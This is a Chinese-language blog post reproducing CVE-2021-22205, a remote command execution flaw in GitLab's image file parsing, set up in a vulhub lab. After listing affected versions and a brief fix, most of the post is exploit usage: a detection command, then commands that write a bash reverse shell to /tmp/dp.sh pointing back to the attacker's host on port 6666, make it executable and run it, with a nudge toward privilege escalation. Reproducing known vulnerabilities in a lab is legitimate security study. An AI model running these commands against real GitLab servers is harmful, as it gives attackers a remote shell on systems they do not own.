GitLab 远程命令执行

 一、漏洞描述

GitLab 没有正确验证传递给文件解析器的图像文件,这导致远程命令执行,可执行系统命令。这是一个严重的问题。它现在在最新版本中得到缓解,漏洞编号CVE-2021-22205。

二、影响版本

11.9 <= GitLab(CE/EE)< 13.8.8

13.9 <= GitLab(CE/EE)< 13.9.6

13.10 <= GitLab(CE/EE)< 13.10.3

三、环境搭建

快速搭建,可以使用vulhub

 git clone https://github.com/vulhub/vulhub.git
 cd vulhub/gitlab/CVE-2021-22205/
 docker-compose up -d

环境启动后,访问http://your-ip:8080即可查看到GitLab的登录页面

四、漏洞复现

4.1、下载EXP

 https://github.com/Al1ex/CVE-2021-22205

4.2、检测漏洞是否存在

 python exploit.py -v true -t 目标IP

4.3、命令执行

由于是内网环境,本地先起一个http服务

 python -m http.server 6666

然后执行命令

4.4、反弹shell

 #写入反弹shell脚本
 python CVE-2021-22205.py -a true -t http://目标IP -c "echo 'bash -i >& /dev/tcp/本机地址/6666 0>&1' > /tmp/dp.sh"

 #添加shell脚本执行权限 
 python CVE-2021-22205.py -a true -t http://目标IP -c "chmod +x /tmp/dp.sh"

开启监听

反弹shell

 python CVE-2021-22205.py -a true -t http://目标IP -c "/bin/bash /tmp/dp.sh"

已经反弹回shell,由于权限不高可以尝试进行提权。

 

五、解决方案

更新至最新版本,新版本中已修复此漏洞。

posted @ 2022-03-12 10:47  Bad&Boy  阅读(242)  评论(0编辑  收藏  举报